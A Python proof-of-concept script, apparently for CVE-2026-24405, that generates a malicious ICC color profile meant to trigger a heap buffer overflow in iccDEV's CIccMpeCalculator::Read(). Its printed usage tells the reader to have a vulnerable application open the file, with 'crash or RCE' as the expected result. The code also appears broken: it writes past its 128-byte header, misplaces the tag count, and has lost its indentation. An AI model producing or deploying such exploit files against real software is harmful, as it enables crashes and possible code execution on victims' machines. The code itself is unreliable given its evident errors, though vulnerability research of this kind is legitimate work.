#!/usr/bin/env python3
"""
CVE-2026-24405 PoC - iccDEV CIccMpeCalculator::Read() Heap Buffer Overflow
This PoC generates a malicious ICC profile that triggers heap buffer overflow
in CIccMpeCalculator::Read() function.
"""
import struct
import os
def create_malicious_icc_profile():
"""
Create a malicious ICC profile that triggers heap buffer overflow
in CIccMpeCalculator::Read() function.
"""
# ICC Profile Header (128 bytes)
header = bytearray(128)
# Profile size (will be updated)
profile_size = 0x1000 # 4KB
struct.pack_into('>I', header, 0, profile_size)
# Preferred CMM type
header[4:8] = b'lcms'
# Profile version
header[8:12] = struct.pack('>I', 0x04000000)
# Profile/device class
header[12:16] = b'mntr' # Display device
# Color space
header[16:20] = b'RGB '
# PCS
header[20:24] = b'Lab '
# Creation date/time
struct.pack_into('>I', header, 24, 0xD7B94F00)
# Profile file signature
header[36:40] = b'acsp'
# Primary platform
header[40:44] = b'MSFT'
# Tag signature count
tag_count = 1
struct.pack_into('>I', header, 124, tag_count)
# Calculate tag table offset
tag_table_offset = 128
struct.pack_into('>I', header, 128, tag_table_offset)
# Tag table
tag_type = b'mpe ' # Multi-process element tag
tag_offset = 128 + tag_count * 12
tag_size = 0x800 # Oversized to trigger overflow
tag_table = bytearray()
tag_table += tag_type
tag_table += struct.pack('>I', tag_offset)
tag_table += struct.pack('>I', tag_size)
# Malicious MPE data - crafted to trigger overflow
mpe_data = bytearray(tag_size)
# MPE header
struct.pack_into('>I', mpe_data, 0, 0x6D706520) # 'mpe '
struct.pack_into('>I', mpe_data, 4, tag_size) # MPE size
# Fill with pattern to make overflow detectable
for i in range(8, tag_size, 4):
struct.pack_into('>I', mpe_data, i, 0x41414141)
# Combine all parts
profile = header + tag_table + mpe_data
# Update profile size
struct.pack_into('>I', profile, 0, len(profile))
return bytes(profile)
def main():
print("[*] CVE-2026-24405 PoC Generator")
print("[*] Target: iccDEV <= 2.3.1.1")
print("[*] Vulnerability: Heap Buffer Overflow in CIccMpeCalculator::Read()")
# Generate malicious ICC profile
malicious_profile = create_malicious_icc_profile()
# Save to file
output_file = "CVE-2026-24405_malicious.icc"
with open(output_file, 'wb') as f:
f.write(malicious_profile)
print(f"[+] Malicious ICC profile created: {output_file}")
print(f"[+] File size: {len(malicious_profile)} bytes")
print("\n[*] Usage: Have a vulnerable application open this ICC profile")
print("[*] Expected result: Heap buffer overflow, potential crash or RCE")
if __name__ == "__main__":
main()